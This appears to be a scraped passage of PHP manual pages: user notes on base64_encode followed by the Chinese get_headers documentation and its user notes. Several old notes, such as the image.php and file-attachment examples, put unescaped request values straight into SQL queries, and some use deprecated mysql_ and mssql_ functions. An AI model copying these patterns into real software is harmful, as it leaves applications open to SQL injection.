    $base64 = base64_decode($base64url);
    return $base64;
}

function encryptId($int, $class='') {

    return base64url_encode($int.'-'.substr(sha1($class.$int.encryptionKey), 0, 6));
}

function decryptId($string, $class='') {

    $parts = explode('-', base64url_decode($string));
    if (count($parts) != 2) {

        return 0;
    }

    $int = $parts[0];
    return substr(sha1($class.$int.encryptionKey), 0, 6) === $parts[1]
        ? (int)$int
        : 0;
}

- The optional 2nd argument is the class name, so two equal ids of different tables will not result in two equal obfuscated ids.

- encryptionKey is a global secret key for encryption.

- decryptId() checks if the second part of the base64 encoded string is correct.
Tom 06-Dec-2006 10:20
This function supports "base64url" as described in Section 5 of RFC 4648, "Base 64 Encoding with URL and Filename Safe Alphabet"

    <?php
    function base64url_encode($plainText)
    {
        $base64 = base64_encode($plainText);
        $base64url = strtr($base64, '+/', '-_');
        return ($base64url);
    }
    ?>

You may wish to rtrim (or escape) trailing ='s for use in a URI.
eric [at] d512 [dot] com 03-Dec-2006 07:42
Note that at least some Windows systems will not print a line of characters longer than a certain length unless it has line breaks of some kind.  So if you base-64 encode a file, print it back for debugging purposes, and see nothing, don't be alarmed.
dlyaza aT yahoo DOT com 22-Oct-2006 05:57
Using Function:
Output for HTML Put:
<img src="$self?image=file" border="0" alt="file">
<img src="$self?image=folder" border="0" alt="folder">

function getimage ($image) {
    switch ($image) {
    case 'file':
        return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAA
AARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vF
bSXucbSabunjnMohq8CADsA');
    case 'folder':
        return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAA
ARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5v
Gc+0a7dhjh7ZbygAADsA');
    case 'hidden_file':
        return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAA
AARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vF
bSXucbSabunjnMohq8CADsA');
    case 'link':
        return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAA
CH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUll
NOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
    case 'smiley':
        return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAA
AARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3
dKZuIygrMRE/oJDwUAOwA=');
    case 'arrow':
        return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AA
AIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
    }
}
php at ianco dot co dot uk 22-Sep-2006 08:25
I am finding a length restriction with base64_encode (or possibly with echo) in PHP 4.3.9.
This works ok for me:
<?php
echo strlen(str_repeat('-', 3273)); // 3273
echo strlen(base64_encode(str_repeat('-', 3273))); // 4364
echo base64_encode(str_repeat('-', 3273)); // LS0t repeated
?>
But change the length to 3274 and the third echo prints nothing.
<?php
echo strlen(str_repeat('-', 3274)); // 3274
echo strlen(base64_encode(str_repeat('-', 3274))); // 4368
echo base64_encode(str_repeat('-', 3274)); // Nothing at all printed
?>
This has obvious implications if you're wanting to encode a fairly large serialized array and echo it to a form field.
peter at mailinator dot com 23-Jul-2006 02:06
If you want to decode base64 encoded data in Javascript, you can use the tool (Webtoolkit.base64) on this website: http://www.webtoolkit.info/
dawgeatschikin at hotmail dot com 27-Mar-2006 08:06
Just a minor tweak of massimo's functions.

<?
$data = str_replace(array('+','/','='),array('-','_','.'),$data);
//replace '=' with '.' instead of with nothing, that way the process is reversible.  '.' is uri-safe according to http://www.w3.org/Addressing/URL/5_URI_BNF.html
?>
massimo dot scamarcia at gmail dot com 23-Mar-2006 07:23
$data = str_replace(array('+','/','='),array('-','_',),$data); // MIME::Base64::URLSafe implementation

$data = str_replace(array('+','/'),array('-','_'),$data); // Python raise "TypeError: Incorrect padding" if you remove "=" chars when decoding
massimo dot scamarcia at gmail dot com 23-Mar-2006 03:02
function urlsafe_b64encode($string) {
    $data = base64_encode($string);
    $data = str_replace(array('+','/','='),array('-','_',''),$data);
    return $data;
}

function urlsafe_b64decode($string) {
    $data = str_replace(array('-','_'),array('+','/'),$string);
    $mod4 = strlen($data) % 4;
    if ($mod4) {
        $data .= substr('====', $mod4);
    }
    return base64_decode($data);
}

Php version of perl's MIME::Base64::URLSafe, that provides an url-safe base64 string encoding/decoding (compatible with python base64's urlsafe methods)
Gabriel Malca 17-Mar-2006 01:45
If the function doesn't exist, this is a messy but effective way of doing it:

<?

echo bencode("Gabriel Malca");
// R2FicmllbCBNYWxjYQ==

function bencode($string='') {
    $binval = convert_binary_str($string);
    $final = "";
    $start = 0;
    while ($start < strlen($binval)) {
        if (strlen(substr($binval,$start)) < 6)
            $binval .= str_repeat("0",6-strlen(substr($binval,$start)));
        $tmp = bindec(substr($binval,$start,6));
        if ($tmp < 26)
            $final .= chr($tmp+65);
        elseif ($tmp > 25 && $tmp < 52)
            $final .= chr($tmp+71);
        elseif ($tmp == 62)
            $final .= "+";
        elseif ($tmp == 63)
            $final .= "/";
        elseif (!$tmp)
            $final .= "A";
        else
            $final .= chr($tmp-4);
        $start += 6;
    }
    if (strlen($final)%4>0)
        $final .= str_repeat("=",4-strlen($final)%4);
    return $final;
}

function convert_binary_str($string) {
    if (strlen($string)<=0) return;
    $tmp = decbin(ord($string[0]));
    $tmp = str_repeat("0",8-strlen($tmp)).$tmp;
    return $tmp.convert_binary_str(substr($string,1));
}

?>
virtuall at virtuall dot info 06-Dec-2005 01:53
If you encode text that contains symbols like < > and want to send it in GET query, be sure to urlencode the result of base64_encode, as it sometimes adds a  + (and it's a special symbol) at the end:

<?php
    echo base64_encode('<html>');
?>

returns:

PGh0bWw+

A function like this could also be useful:

<?php
    function base64_urlencode($str) {
        return urlencode(base64_encode($str));
    };
?>
Cristiano Calligaro 25-Aug-2005 03:05
I've used base64_encode and base64_decode for file attachment both in MySQL (using a BLOB field) and MSSQL (using a TEXT field). For MSSQL remember to set in PHP.INI file both mssql.textsize and mssql.textlimit to 2147483647.

Here's the code:

######### MSSQL(mssql_)/MySQL(mysql_) file attach
$val=$HTTP_POST_FILES['lob_upload']['tmp_name'];
$valn=$HTTP_POST_FILES['lob_upload']['name'];
$valt=$HTTP_POST_FILES['lob_upload']['type'];

$data=base64_encode(addslashes(fread(fopen($val, "r"), filesize($val))));

mssql_connect("srv","usr","pass") or die ("");
mssql_select_db("db") or die ("");
$query = "UPDATE $table SET $field='$data', $fieldname='$valn', $fieldtype='$valt' WHERE DocID='$DocID'";
$result = mssql_query($query) or die(mssql_error());
mssql_close();

######### MSSQL(mssql_)/MySQL(mysql_) open file attached
mssql_connect("srv","usr","pass") or die ("");
mssql_select_db("db") or die ("");
$query = "SELECT $field,$fieldtype FROM $table WHERE DocID='$DocID'";
$result = mssql_query($query) or die(mssql_error());
$row = mssql_fetch_array($result);

header("Content-type: $row[1]");
echo stripslashes(base64_decode($row[0]));

This strategy is good for Microsoft Word, Acrobat PDF, JPG image and so on (even zipped files!!!)
juha at kuhazor dot idlegames dot com 21-Jun-2004 08:29
If you use base64encoded strings as cookie names, make sure you remove '=' characters. At least Internet Explorer refuses cookie names containing '=' characters or urlencoded cookie names containing %xx character replacements. Use the function below to turn base64 encoded strings to bare alphabets (get rid of / and + characters as well)

<?php
function base64clean($base64string)
{
     $base64string = str_replace(array('=','+','/'),'',$base64string);

     return $base64string;
}
?>
guy at bhaktiandvedanta dot com 01-Oct-2002 05:00
You can use base64_encode to transfer image file into string text and then display them. I used this to store my images in a database and display them form there. First I open the files using fread, encoded the result, and stored that result in the database. Useful for creating random images.

image.php:

<?

header(" Content-Type: image/jpeg");
header(" Content-Disposition: inline");
$sql = "SELECT data FROM image where name='".$img."'";
$result = mysql_query($sql);
$row = mysql_fetch_row($result);
$image = $row[0];
echo base64_decode($image);

?>

And in the html file you put:

<img src="image.php?img=test3"  border="0" alt="">

Guy Laor


取得服务器响应 HTTP 请求所发送的所有标头

  • ? base64_encode
  • get_meta_tags ?
  • PHP Manual
  • URL 函数
  • 取得服务器响应 HTTP 请求所发送的所有标头

get_headers

(PHP 5, PHP 7, PHP 8)

get_headers — 取得服务器响应 HTTP 请求所发送的所有标头

说明

get_headers(string $url, bool $associative = false, ?resource $context = null): array|false

get_headers() 返回一个数组，包含有服务器响应一个 HTTP 请求所发送的标头。

参数

url

目标 URL。

associative

如果将可选的 associative 参数设为 true，则 get_headers() 会解析相应的信息并设定数组的键名。

context

使用 stream_context_create() 创建的有效上下文资源，null 使用默认上下文。

返回值

返回包含有服务器响应一个 HTTP 请求所发送标头的索引或关联数组，如果失败则返回 false。

更新日志

版本 | 说明
8.0.0 | associative 从 int 更改为 bool。
7.1.0 | 新增 context 参数。

示例

Example #1 get_headers() 例子

<?php
$url = 'http://www.example.com';

print_r(get_headers($url));

print_r(get_headers($url, true));
?>

以上示例的输出类似于：

Array
(
    [0] => HTTP/1.1 200 OK
    [1] => Date: Sat, 29 May 2004 12:28:13 GMT
    [2] => Server: Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [3] => Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
    [4] => ETag: "3f80f-1b6-3e1cb03b"
    [5] => Accept-Ranges: bytes
    [6] => Content-Length: 438
    [7] => Connection: close
    [8] => Content-Type: text/html
)

Array
(
    [0] => HTTP/1.1 200 OK
    [Date] => Sat, 29 May 2004 12:28:14 GMT
    [Server] => Apache/1.3.27 (Unix)  (Red-Hat/Linux)
    [Last-Modified] => Wed, 08 Jan 2003 23:11:55 GMT
    [ETag] => "3f80f-1b6-3e1cb03b"
    [Accept-Ranges] => bytes
    [Content-Length] => 438
    [Connection] => close
    [Content-Type] => text/html
)

Example #2 get_headers() 使用 HEAD 示例

<?php
// 默认 get_headers 使用 GET 请求获取 header。如果想要发送
// HEAD 请求，可以通过 stream context 进行 HEAD 请求：
$context = stream_context_create(
[
'http' => array(
'method' => 'HEAD'
)
]
);
$headers = get_headers('http://example.com', false, $context);
?>

参见

  • apache_request_headers() - 获取全部 HTTP 请求头信息

User Contributed Notes

https://twitter.com/jonathansampson 27-Feb-2022 06:32
When requesting headers as an associative array, it's important to note that headers with different casing will NOT be treated as equal. If your first redirect contains a "location" header, and your second contains a "Location" header (note the uppercase L), these will appear as two different keys in your associative array.

The following is one attempt at creating an alternative to get_headers which normalizes the header names, while also offering the same functionality (with the same signature) as the native get_headers function:

<?php

    function getHeaders ( string $location, bool $associative = true, $context = null ) : array | bool {

        $indexer = 0;
        $results = [];
        $headers = get_headers( $location, false, $context );

        if ( $headers ) {

            foreach ( $headers as $header ) {

                if ( strpos( $header, ":" ) ) {

                    $parts = explode( ":", $header, 2 );
                    $key = strtolower( $parts[0] );
                    $value = trim( $parts[1] );

                    if ( !$associative ) {
                        $results[ $indexer++ ] = "{$key}: {$value}";
                        continue;
                    }

                    /**
                     * If the header name hasn't yet been encountered, we
                     * add it to the `results` array, storing the value as
                     * a string.
                     *
                     * If the header name has been encountered already (it
                     * has already been stored in the `results` array), and
                     * is an array, we'll push the current value.
                     *
                     * If the header name has been encountered, but currently
                     * points to a string, we will replace with an array, but
                     * keep the original string at index 0.
                     */
                    if ( !key_exists( $key, $results ) ) {
                        $results[ $key ] = $value;
                    } else if ( is_array( $results[ $key ] ) ) {
                        array_push( $results[ $key ], $value );
                    } else {
                        $results[ $key ] = [ $results[ $key ], $value ];
                    }

                    continue;

                }

                // No ':' found in the header, so we'll preserve as-is.
                $results[ $indexer++ ] = $header;

            }

            return $results;

        }

        return false;

    }

?>
mcilva 15-Oct-2018 05:17
How to check if a url points to a valid video

<?php
function isVideo($url){
    $url = get_headers($url,1);
    if(is_array($url['Content-Type'])){ //In some responses Content-type is an array
        $video = strpos($url['Content-Type'][1],'video');
    }else{
        $video = strpos($url['Content-Type'],'video');
    }
    if($video !== false)
        return true;

    return false;
}

?>
MarkAgius at markagius dot co dot uk 28-Dec-2017 04:48
The following code dose NOT work with PHP version 7.0.26 with my server.

Some other setting may be required?

Tried with website pages and path to local files.
The word 'Finished' is printed only.

<?php
$url = 'http://www.example.com';
$url = '/home/dirName/public_html/dir/file.html';
$url = 'http://php.net/manual/en/function.get-headers.php';

print "<PRE>\n";
print_r(get_headers($url));
print "\n";
print_r(get_headers($url, 1));
print "</PRE>\n";
print "Finished.<BR\n";
?>
dongchao769390531 at 163 dot com 07-Jun-2017 06:43
<?php
/**
 * We can use get_headers to check image url is real image resource or not
 * Only check image url format is not safe
 * @param string $link
 * @return boolean
 */
function checkImageContentType($link){
    //Set the second parameter as 1, then get "Content-Type" value
    $imgHeader = get_headers($link,1);
    if(!isset($imgHeader['Content-Type'])){
        //No "Content-Type" in headers, then that image url is not a real image resource
        return false;
    }
    //A regular pattern to check "Content-Type" value
    $imgPattern = '/^image\/(jpeg|gif|png|svg)[;\w\=\+]*$/';
    //Some image resource's "Content-Type" may be an array
    if(is_array($imgHeader['Content-Type'])){
        //Check the resource's Content-Type is accord with the regular pattern or not
        $typeArr = preg_grep($imgPattern,$imgHeader['Content-Type']);
        if(empty($typeArr)){
            return false;
        }
    }elseif(is_string($imgHeader['Content-Type'])){
        //Image resource's "Content-Type" may be a simple string
        if(!preg_match($imgPattern,$imgHeader['Content-Type'])){
            return false;
        }
    }else{
        return false;
    }
    return true;
}

//A image url(php logo from php.net), a legal image resource url
$link = 'http://php.net/images/logos/php-logo.svg';
var_dump(checkImageContentType($link));// return true

//An illegal image resource url
$link = 'http://php.net/images/logos.jpg';
var_dump(checkImageContentType($link));// return false
?>
bunny at bunny dot hu 22-Oct-2016 02:26
If the URL redirected and the new target is also redirected, we got the Locations in array. Also we got the HTTP codes in a number indexed values.

Here a PART of the header (not all), how it is look like with this redirection chain ( the id=4 is the landing page):
/test.php?id=1 -> /test.php?id=2 -> /test.php?id=3 -> /test.php?id=4

array
(
    [0] => HTTP/1.1 302 Moved Temporarily

    [Location] => Array
        (
            [0] => /test.php?id=2
            [1] => /test.php?id=3
            [2] => /test.php?id=4
        )

    [1] => HTTP/1.1 302 Moved Temporarily
    [2] => HTTP/1.1 302 Moved Temporarily
    [3] => HTTP/1.1 200 OK
)

In a typical situation we need only the landing page information, so here is a small code to get it:

$result = array();
$header = get_headers($url, 1);
foreach ($header as $key=>$value) {
    if (is_array($value)) {
        $value = end($value);
    }
    $result[$key] = $value;
}
sidnash56 at gmail dot com 21-Jun-2016 11:30
To check URL validity, this has been working nicely for me:

function url_valid(&$url) {
  $file_headers = @get_headers($url);
  if ($file_headers === false) return false; // when server not found
  foreach($file_headers as $header) { // parse all headers:
    // corrects $url when 301/302 redirect(s) lead(s) to 200:
    if(preg_match("/^Location: (http.+)$/",$header,$m)) $url=$m[1];
    // grabs the last $header $code, in case of redirect(s):
    if(preg_match("/^HTTP.+\s(\d\d\d)\s/",$header,$m)) $code=$m[1];
  } // End foreach...
  if($code==200) return true; // $code 200 == all OK
  else return false; // All else has failed, so this must be a bad link
} // End function url_exists
bobray at softville dot com 11-May-2015 05:29
Testing the validity of a URL that is preceded by one or more server redirects is tricky. There will be more than one status code returned and all but the first will be redirect codes.

This function will return an integer containing the three digit status code of the last code returned, which is what you want.

    function getStatus($url) {
        $headers = @get_headers($url, true);
        $value = NULL;
        if ($headers === false) {
            return $headers;
        }
        foreach ($headers as $k => $v) {
            if (!is_int($k)) {
                continue;
            }
            $value = $v;
        }

        return (int) substr($value, strpos($value, ' ', 8) + 1, 3);
     }

If getHeaders() fails, PHP will throw an error. Test the return value for === false.
pegasus at vaultwiki dot org 29-Apr-2015 02:41
Note that get_headers should not be used against a URL that was gathered via user input. The timeout option in the stream context only affects the idle time between data in the stream. It does not affect connection time or the overall time of the request.

(Unfortunately, this is not mentioned in the docs for the timeout option, but has been discussed in a number of code discussions elsewhere, and I have done my own tests to confirm the conclusions of those discussions.)

Thus it is very easy for a user to give you a URL that acts like a Slowloris attack - feeding your get_headers function 1 header only often enough to avoid the stream timeout.

If you are publishing your code, even default_socket_timeout cannot be relied on to remedy this, because it is broken for the HTTPS protocol on many but the more recent versions of PHP: https://bugs.php.net/bug.php?id=41631

With get_headers accepting user input, it can be very easy for an attacker to make all of your PHP child processes become busy.

Instead, use cURL functions to get headers for a URL provided by the user and parse those headers manually, as CURLOPT_TIMEOUT applies to the entire request.
cees at cornelisdigitaal dot nl 23-Feb-2015 09:20
@Jim Greene:

if the URL does not exist, it returns incomplete headers, making the substring default to rubbish.

The integer value of rubbish is always 0. So your lower than 400 does not always means it exists!
Kubo2 24-Nov-2013 09:55
If you don't want to display Warning when get_headers() function fails, you can simply add at-sign (@) before it.

<?php

// in failure, Warning will be hidden and false returned
$withoutWarning = @get_headers("http://www.some-domain.com");

// in  failure, Warning displays and false will be returned, too
$withWarning = get_headers("http://www.some-domain.com");

// bool(false)
var_dump($withoutWarning);
// bool(false)
var_dump($withWarning);
?>
Jim Greene 09-Jul-2013 02:47
I know you're not supposed to reference other notes, but sincere props to Nick at Innovaweb's comment, for which I base this addition to his idea:

If you use that function, it will return a string, which is great if you are checking for only files that return 404, or 200, or whatnot.  If you cast the string value to an integer, you can perform mathematical comparison on it.

For example:

<?php
function get_http_response_code($theURL) {
    $headers = get_headers($theURL);
    return substr($headers[0], 9, 3);
}

if(intval(get_http_response_code('filename.jpg')) < 400){
// File exists, huzzah!
}
?>

Rule of thumb is if the response is less than 400, then the file's there, even if it doesn't return 200.
Backslider 15-Feb-2012 07:06
It should be noted that rather than returning "false" on failure, this function (and others) return a big phat WARNING that will halt your script in its tracks if you do not have error reporting /warning turned off.

Thats just insane!  Any function that does something like fetch a URL should simply return false, without a warning, if the URL fails for whatever reason other than it is badly formatted.
damolp at hotmail dot com 03-Jul-2011 05:43
I found that this function is the slowest in obtaining the headers of a page probably because it uses a GET request rather then a HEAD request. Over 10,000,000 trials of obtaining the headers of a page from a server i found the following (results in seconds).

cURL: Mean: 0.584127946. Sigma: 0.050581736.
fsocketopen: Mean: 0.622114251. Sigma: 0.263170424.
get_headers: Mean: 0.90375551. Sigma: 0.273823419.

cURL was the fastest with fsocketopens being the second fastest. I noticed as well that fsocketopen had some outliers where as cURL did not.
Lukas Najduk 11-Jan-2011 03:36
Unfortunately there is still no useful output format to handle redirects.

This function will bring all non-broken headers into a usable format. Too bad it has to call the get_headers() funtion 2 times, but i dont see any other possibility right now.

<?php
function page_get_headers($crawl_uri) {
    // get the array values where to split the second get headers return
    $headers = get_headers($crawl_uri, 1);
    if (empty($headers)) {
        return array();
    }
    $splitmarks = array();
    foreach ($headers as $key=>$h) {
        if (is_numeric($key)) {
            array_push($splitmarks, $h);
        }
    }

    // get the "real" headers
    $headers_final = array();
    $i = 0;
    $headers = get_headers($crawl_uri);
    foreach ($headers as $head) {
        // if the value is one of the splitmarks, start the next header
        if (array_key_exists($i, $splitmarks) && $head === $splitmarks[$i]) {
            $i++;
        }
        else {
            // get the headers name
            $tmp = explode(": ", $head, 2);
            // check if the header is already existing, if yes, parse the similar header to an array
            if (!empty($headers_final[$i-1][$tmp[0]])) {
                if (is_array($headers_final[$i-1][$tmp[0]])) {
                    array_push($headers_final[$i-1][$tmp[0]], $tmp[1]);
                }
                else {
                    $headers_final[$i-1][$tmp[0]] = array($headers_final[$i-1][$tmp[0]], $tmp[1]);
                }
            }
            else {
                $headers_final[$i-1][$tmp[0]] = $tmp[1];
            }
        }
    }
    return $headers_final;
}
?>
Weboide 25-Sep-2010 06:13
Note that get_headers **WILL follow redirections** (HTTP redirections). New headers will be appended to the array if $format=0. If $format=1 each redundant header will be an array of multiple values, one for each redirection.

For example:

<?php
$url = 'http://google.com';
var_dump(get_headers($url,0));
/*array(18) {
  [0]=>  string(30) "HTTP/1.0 301 Moved Permanently"
  [1]=>  string(32) "Location: http://www.google.com/"
  [2]=>  string(38) "Content-Type: text/html; CHARSET=gb2312"
  [3]=>  string(35) "Date: Sun, 26 Sep 2010 00:59:50 GMT"
  [4]=>  string(38) "Expires: Tue, 26 Oct 2010 00:59:50 GMT"
  [5]=>  string(38) "Cache-Control: public, max-age=2592000"
....
  string(15) "HTTP/1.0 200 OK"
  [10]=>  string(35) "Date: Sun, 26 Sep 2010 00:59:51 GMT"
  [11]=>  string(11) "Expires: -1"
  [12]=>  string(33) "Cache-Control: private, max-age=0"
.....
}*/

/*===========================*/

var_dump(get_headers($url,1));
/*array(11) {
  [0]=>
  string(30) "HTTP/1.0 301 Moved Permanently"
  ["Location"]=>  string(22) "http://www.google.com/"
  ["Content-Type"]=>  array(2) {
    [0]=>    string(24) "text/html; CHARSET=gb2312"
    [1]=>    string(29) "text/html; charset=ISO-8859-1"
  }
  ["Date"]=>  array(2) {
    [0]=>    string(29) "Sun, 26 Sep 2010 01:03:39 GMT"
    [1]=>    string(29) "Sun, 26 Sep 2010 01:03:39 GMT"
  }
  ["Expires"]=>  array(2) {
    [0]=>    string(29) "Tue, 26 Oct 2010 01:03:39 GMT"
    [1]=>    string(2) "-1"
  }
  ["Cache-Control"]=>  array(2) {
    [0]=>    string(23) "public, max-age=2592000"
    [1]=>    string(18) "private, max-age=0"
  }
.....
}*/
?>
nick at innovaweb dot co dot uk 02-May-2010 05:28
Seems like there are some people who are looking for only the 3-digit HTTP response code  - here is a quick and nasty solution:

<?php
function get_http_response_code($theURL) {
    $headers = get_headers($theURL);
    return substr($headers[0], 9, 3);
}
?>

How easy is that? Echo the function containing the URL you want to check the response code for, and voilà. Custom redirects, alternative for blocked is_file() or flie_exists() functions (like I seem to have on my servers) hence the cheap workaround. But hey - it works!

Pudding
php at hm2k dot org 28-Jan-2010 10:20
<?php
/**
 * Fetches all the real headers sent by the server in response to a HTTP request without redirects
 *
 * @link      http://php.net/function.get_headers
 * @link      http://bugs.php.net/bug.php?id=50719
 */

function get_real_headers($url,$format=0,$follow_redirect=0) {
  if (!$follow_redirect) {
    //set new default options
    $opts = array('http' =>
        array('max_redirects'=>1,'ignore_errors'=>1)
    );
    stream_context_get_default($opts);
  }
  //get headers
    $headers=get_headers($url,$format);
    //restore default options
  if (isset($opts)) {
    $opts = array('http' =>
        array('max_redirects'=>20,'ignore_errors'=>0)
    );
    stream_context_get_default($opts);
  }
  //return
    return $headers;
}
?>
gabe at vtunnel dot com 22-Apr-2009 01:23
In some cases, you don't want get_headers to follow redirects. For example, some of my servers can access a particular website, which sends a redirect header. The site it is redirected to, however, has me firewalled. I need to take the 302 redirected url, and do something to it to give me a new url that I *can* connect to.

The following will give you output similar to get_headers, except it has a timeout, and it doesn't follow redirects:

<?php
function get_headers_curl($url)
{
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL,            $url);
    curl_setopt($ch, CURLOPT_HEADER,         true);
    curl_setopt($ch, CURLOPT_NOBODY,         true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT,        15);

    $r = curl_exec($ch);
    $r = split("\n", $r);
    return $r;
}

If you do want to follow redirects, you can do something like this:

$go = 1;
$i = 1;

while ($go && $i < 6)
{
    $headers = get_headers_curl($url);
    $go = getNextLocation($headers);
    if ($go)
    {
        $url = modifyUrl($go);
    }
    $i++;
}

function getNextLocation($headers)
{
    $array = $headers;
    $count = count($array);

    for ($i=0; $i < $count; $i++)
    {
        if (strpos($array[$i], "ocation:"))
        {
                $url = substr($array[$i], 10);
        }
    }
    if ($url)
    {
        return $url;
    }
    else
    {
        return 0;
    }
}
?>
info at marc-gutt dot de 21-Jun-2008 05:04
Should be the same than the original get_headers():

<?php
if (!function_exists('get_headers')) {
function get_headers($url, $format=0) {
    $headers = array();
    $url = parse_url($url);
    $host = isset($url['host']) ? $url['host'] : '';
    $port = isset($url['port']) ? $url['port'] : 80;
    $path = (isset($url['path']) ? $url['path'] : '/') . (isset($url['query']) ? '?' . $url['query'] : '');
    $fp = fsockopen($host, $port, $errno, $errstr, 3);
    if ($fp)
    {
        $hdr = "GET $path HTTP/1.1\r\n";
        $hdr .= "Host: $host \r\n";
        $hdr .= "Connection: Close\r\n\r\n";
        fwrite($fp, $hdr);
        while (!feof($fp) && $line = trim(fgets($fp, 1024)))
        {
            if ($line == "\r\n") break;
            list($key, $val) = explode(': ', $line, 2);
            if ($format)
                if ($val) $headers[$key] = $val;
                else $headers[] = $key;
            else $headers[] = $line;
        }
        fclose($fp);
        return $headers;
    }
    return false;
}
}
?>
php dot sirlancelot at spamgourmet dot com 05-Jun-2008 01:59
I tried to replicate the native behavior as much as possible for systems that don't have the get_headers() function. Here it is:
<?php
if (!function_exists('get_headers')) {
function get_headers($Url, $Format= 0, $Depth= 0) {
    if ($Depth > 5) return;
    $Parts = parse_url($Url);
    if (!array_key_exists('path', $Parts))   $Parts['path'] = '/';
    if (!array_key_exists('port', $Parts))   $Parts['port'] = 80;
    if (!array_key_exists('scheme', $Parts)) $Parts['scheme'] = 'http';

    $Return = array();
    $fp = fsockopen($Parts['host'], $Parts['port'], $errno, $errstr, 30);
    if ($fp) {
        $Out = 'GET '.$Parts['path'].(isset($Parts['query']) ? '?'.@$Parts['query'] : '')." HTTP/1.1\r\n".
               'Host: '.$Parts['host'].($Parts['port'] != 80 ? ':'.$Parts['port'] : '')."\r\n".
               'Connection: Close'."\r\n";
        fwrite($fp, $Out."\r\n");
        $Redirect = false; $RedirectUrl = '';
        while (!feof($fp) && $InLine = fgets($fp, 1280)) {
            if ($InLine == "\r\n") break;
            $InLine = rtrim($InLine);

            list($Key, $Value) = explode(': ', $InLine, 2);
            if ($Key == $InLine) {
                if ($Format == 1)
                        $Return[$Depth] = $InLine;
                else    $Return[] = $InLine;

                if (strpos($InLine, 'Moved') > 0) $Redirect = true;
            } else {
                if ($Key == 'Location') $RedirectUrl = $Value;
                if ($Format == 1)
                        $Return[$Key] = $Value;
                else    $Return[] = $Key.': '.$Value;
            }
        }
        fclose($fp);
        if ($Redirect && !empty($RedirectUrl)) {
            $NewParts = parse_url($RedirectUrl);
            if (!array_key_exists('host', $NewParts))   $RedirectUrl = $Parts['host'].$RedirectUrl;
            if (!array_key_exists('scheme', $NewParts)) $RedirectUrl = $Parts['scheme'].'://'.$RedirectUrl;
            $RedirectHeaders = get_headers($RedirectUrl, $Format, $Depth+1);
            if ($RedirectHeaders) $Return = array_merge_recursive($Return, $RedirectHeaders);
        }
        return $Return;
    }
    return false;
}}
?>
The function will handle up to five redirects.
Enjoy!
dxtrim at yahoo dot com 17-Jan-2008 01:16
Content-Type returns a value depending only on the extension and not the real MIME TYPE.

So, bad_file.exe renamed to good_file.doc will return application/msword

A file without extension returns a 404.
13-Nov-2006 12:29
I've noticed it.
Some Server will simply return the false reply header if you sent 'HEAD' request instead of 'GET'. The 'GET' request header always receiving the most actual HTTP header instead of 'HEAD' request header. But If you don't mind for a fast but risky method then 'HEAD' request is better for you.

btw ... this is get header with additional information such as User, Pass & Refferer. ...
<?php
    function get_headers_x($url,$format=0, $user='', $pass='', $referer='') {
        if (!empty($user)) {
            $authentification = base64_encode($user.':'.$pass);
            $authline = "Authorization: Basic $authentification\r\n";
        }

        if (!empty($referer)) {
            $refererline = "Referer: $referer\r\n";
        }

        $url_info=parse_url($url);
        $port = isset($url_info['port']) ? $url_info['port'] : 80;
        $fp=fsockopen($url_info['host'], $port, $errno, $errstr, 30);
        if($fp) {
            $head = "GET ".@$url_info['path']."?".@$url_info['query']." HTTP/1.0\r\n";
            if (!empty($url_info['port'])) {
                $head .= "Host: ".@$url_info['host'].":".$url_info['port']."\r\n";
            } else {
                $head .= "Host: ".@$url_info['host']."\r\n";
            }
            $head .= "Connection: Close\r\n";
            $head .= "Accept: */*\r\n";
            $head .= $refererline;
            $head .= $authline;
            $head .= "\r\n";

            fputs($fp, $head);
            while(!feof($fp) or ($eoheader==true)) {
                if($header=fgets($fp, 1024)) {
                    if ($header == "\r\n") {
                        $eoheader = true;
                        break;
                    } else {
                        $header = trim($header);
                    }

                    if($format == 1) {
                    $key = array_shift(explode(':',$header));
                        if($key == $header) {
                            $headers[] = $header;
                        } else {
                            $headers[$key]=substr($header,strlen($key)+2);
                        }
                    unset($key);
                    } else {
                        $headers[] = $header;
                    }
                }
            }
            return $headers;

        } else {
            return false;
        }
    }
?>

Regards.
Donovan
10-May-2006 04:10
If you want to get headers that current PHP process is going to send back to browser, see headers_list()
stuart at sixletterwords dot com 14-Sep-2005 12:52
hey, i came across this afew weeks ago and used the function in an app for recording info about domains that my company owns, and found that the status this returns was wrong most of the time (400 bad request or void for sites that were clearly online). then looking into it i noticed the problem was that it wasn't able to get the correct info about sites with redirections. but thats not the full problem because everything on my server was returning the wrong status too. i searched around on php.net for other info and found that fsockopen's example worked better and only needed some tweeking.

heres the function i put together from it and a small change.

<?php
if(!function_exists('get_headers')) {
   function get_headers($url,$format=0,$httpn=0){
    $fp = fsockopen($url, 80, $errno, $errstr, 30);
    if ($fp) {
       $out = "GET / HTTP/1.1\r\n";
       $out .= "Host: $url\r\n";
       $out .= "Connection: Close\r\n\r\n";
       fwrite($fp, $out);
       while (!feof($fp)) {
           $var.=fgets($fp, 1280);
       }

    $var=explode("<",$var);
    $var=$var[0];
    $var=explode("\n",$var);
    fclose($fp);
    return $var;
    }
    }
}
?>

this returns an array of the header (only problem being that if the site doesn't have correct html it'll pull in some content too).

hope this'll help someone else.
sey at sey dot prometheus-designs dot net 27-Jul-2005 04:10
The replacement updated get_headers function by aeontech at gmail dot com improperly formats dates when $format = 1.

Replace:
<?
